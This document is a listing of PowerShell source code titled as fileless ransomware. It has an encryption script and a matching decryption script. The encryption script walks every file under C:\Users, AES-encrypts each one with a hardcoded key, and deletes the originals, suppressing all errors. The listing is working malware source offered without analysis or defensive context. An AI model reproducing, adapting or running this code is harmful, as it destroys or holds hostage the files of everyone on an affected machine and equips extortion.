Fileless ransomware in PowerShell

decrypt.ps1

$directoryPath = "C:\Users"

$aesKey = [System.Text.Encoding]::UTF8.GetBytes("MySecretKey12345")

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $aesKey

function Decrypt-File($filePath) {
    $aesIV = New-Object byte[] 16
    $inputStream = [System.IO.File]::OpenRead($filePath)
    $outputStream = [System.IO.File]::Create($filePath.Replace(".enc", ""))

    $inputStream.Read($aesIV, 0, $aesIV.Length)
    $aes.IV = $aesIV

    $cryptoStream = [System.Security.Cryptography.CryptoStream]::new($outputStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)

    $inputStream.CopyTo($cryptoStream)

    $inputStream.Close()
    $cryptoStream.Close()
    $outputStream.Close()

    Remove-Item $filePath
}

Get-ChildItem -Recurse $directoryPath | ForEach-Object {
    try {
        if (!$_.PSIsContainer) {
            if ($_.Extension -eq ".enc") {
                Decrypt-File $_.FullName
            }
        }
    } catch {}
}

encrypt.ps1

$directoryPath = "C:\Users"

$aesKey = [System.Text.Encoding]::UTF8.GetBytes("MySecretKey12345")

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $aesKey

function Encrypt-File($filePath) {
    $aes.GenerateIV()
    $aesIV = $aes.IV

    $inputStream = [System.IO.File]::OpenRead($filePath)
    $outputStream = [System.IO.File]::Create("$filePath.enc")

    $outputStream.Write($aesIV, 0, $aesIV.Length)

    $cryptoStream = [System.Security.Cryptography.CryptoStream]::new($outputStream, $aes.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)

    $inputStream.CopyTo($cryptoStream)

    $inputStream.Close()
    $cryptoStream.Close()
    $outputStream.Close()

    Remove-Item $filePath
}

Get-ChildItem -Recurse $directoryPath | ForEach-Object {
    try {
        if (!$_.PSIsContainer) {
            Encrypt-File $_.FullName
        }
    } catch {}
}